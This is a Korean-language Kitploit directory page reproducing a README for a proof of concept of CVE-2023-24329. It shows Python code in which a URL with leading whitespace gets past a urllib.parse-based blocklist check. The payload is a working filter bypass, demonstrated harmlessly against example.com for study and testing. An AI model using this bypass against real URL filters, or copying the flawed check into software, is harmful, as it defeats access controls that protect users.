Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-24329-Exploit — Python의 urllib.parse에서 URL 파싱 우회(CVE-2023-24329)를 시연하는 개념 증명으로, 공백을 앞에 추가하여 차단 목록을 우회할 수 있게 해줍니다. | Kitploit
도구/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Python의 urllib.parse에서 URL 파싱 우회(CVE-2023-24329)를 시연하는 개념 증명으로, 공백을 앞에 추가하여 차단 목록을 우회할 수 있게 해줍니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
72년 전아직 검토되지 않음
공유

소개

URL 파싱 함수는 URL 문자열을 구성 요소로 분할하거나 URL 구성 요소를 URL 문자열로 결합하는 데 초점을 맞춥니다.

  • urllib.parse.urlparse

간단히 URL을 파싱하는 데 사용되는 urllib.parse는 URL 앞에 공백을 추가하여 우회할 수 있습니다. 이는 Python 3.11.4 및 이전 버전에서 발생합니다.

PoC

example.py를 분석해 보겠습니다.

다음은 접근해서는 안 되는 웹사이트 목록입니다:

blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

이 함수는 웹사이트가 차단 목록에 있는지 확인하며, 차단 목록에 있으면 URL Blocked를 반환해야 합니다.

def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

이제 두 개의 URL을 추가하고 둘 중 하나가 차단되어 접근할 수 없는지 확인합니다:

payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1은 is_url_blocked()를 우회한 경우입니다. URL 앞에 긴 공백을 추가하면 urllib.parse.urlparse(url).geturl()이 우회되어 예상대로 실행되지 않기 때문입니다. 그래서 출력은 다음과 같습니다.

Bypassed

하지만 payload2에서는 다음과 같은 결과를 얻습니다.

URL Blocked

후원

기부로 저를 지원하고 싶다면, 정말 필요한 누군가에게 기부해 주시길 권장합니다. 그렇게 하신다면 저는 여러분의 지원을 받았다고 생각하겠습니다.

Buy Me A Coffee

도구 다운로드